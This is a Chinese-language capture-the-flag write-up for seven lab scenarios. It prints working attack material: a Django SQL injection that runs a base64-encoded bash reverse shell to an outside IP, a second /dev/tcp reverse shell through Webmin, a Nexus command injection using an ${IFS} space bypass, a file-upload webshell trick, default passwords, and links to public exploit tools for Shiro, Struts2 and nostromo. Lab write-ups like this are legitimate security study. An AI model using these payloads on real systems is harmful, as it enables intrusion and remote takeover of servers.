llrrll网慕安杯WP
场景一
1.ssh弱口令爆破
利用超级弱口令工具爆破出ssh弱口令 root/admin@123
ssh远程连接后,flag就在/tmp目录下
2.sql注入
打开靶场,发现是Django框架,很容易想到Django的sql注入
参数detail__a’b=1存在sql注入
尝试执行命令,构造shell创建cmd_exec并反弹shell到vps公网地址,payload为
http://111.9.2.13:55212/admin/vuln/collection/?detail__title')='1' or 1=1 ;copy cmd_execs FROM PROGRAM 'echo "bash -i >& /dev/tcp/139.9.40.239/12345 0>&1" | base64 -d | bash'--
其中139.9.40.239为vps公网地址,反弹shell的部分代码需要base64编码,之后整个payload都需要url编码:
http://111.9.2.13:55212/admin/vuln/collection/?detail__title%27%29%3d%27%31%27%20%6f%72%20%31%3d%31%20%3b%63%6f%70%79%20%63%6d%64%5f%65%78%65%63%73%20%46%52%4f%4d%20%50%52%4f%47%52%41%4d%20%27%65%63%68%6f%20%22%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%7a%6b%75%4f%53%34%30%4d%43%34%79%4d%7a%6b%76%4d%54%49%7a%4e%44%55%67%4d%44%34%6d%4d%51%3d%3d%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%27%2d%2d%20
打开vps监听12345端口 nc -lnvp 12345
反弹成功,ls /tmp拿到flag
场景二 shiro反序列化
看到是shiro框架,直接想到shiro反序列化,用shiro_attack爆破密钥与利用链,再用shiro_attack自带的内存马注入上传内存马,哥斯拉连接后就能看到flag
工具地址:https://github.com/SummerSec/ShiroAttack2
**场景三 nostromo远程代码执行
看到是nostromo,去搜索nostromo的历史漏洞,有个CVE-2019-16278远程命令执行漏洞,下载脚本直接利用拿到flag。
./CVE-2019-16278.sh 111.9.2.13 60467 "ls /tmp"
脚本地址:https://github.com/jas502n/CVE-2019-16278
场景四 Structs2远程代码执行
看到很明显是Struts2漏洞,用s2漏洞工具一把梭,这里检测到有漏洞了
检测到漏洞我们直接执行命令,老样子flag在/tmp目录下,也是直接拿到了flag。
工具地址:https://github.com/abc123info/Struts2VulsScanTools
场景五 nexus操作系统命令注入
看到是nexus,尝试默认口令admin/admin123,进了!这里用burp爆破的话会被封锁,只能手动多试几次
查询资料发现当前版本在CVE-2019-5475漏洞范围内,且Yum Repository 插件中Yum的配置是createrepo和mergerepo,很有可能存在命令注入。
试一下就知道有没有了,发现不能直接注入。
查找资料后发现需要绕过,传入的命令需要满足两个条件,不以nexus的工作目录开头,并且以/createrepo或者/mergerepo结尾。
但是这里还有个问题,空格被过滤了,需要用${IFS}内部字段分隔符代替空格绕过。
Payload为/bin/bash -c ls${lFS}/tmp /createrepo
命令保存之后,从status可以看到回显了flag
场景六 webminCVE-2022-0824
通过webmin弱口令root/password成功登录
找到Tools-->Command Shell模块,这里可以命令执行,我们通过此处可以反弹shell到vps(利用nc工具)
执行命令bash -i >& /dev/tcp/139.9.40.239/12345 0>&1,其中139.9.40.239为vps公网ip
vps开启监听本地端口12345:nc -lnvp 12345,反弹shell成功,执行ls /tmp拿到flag
场景七 文件上传
上传木马文件shelll.php,加上后缀.png,更改Content-type为img/png,文件头加上GIF89A,成功上传,且被解析成php文件。
响应包返回了路径,我们连接shell就可以拿到flag。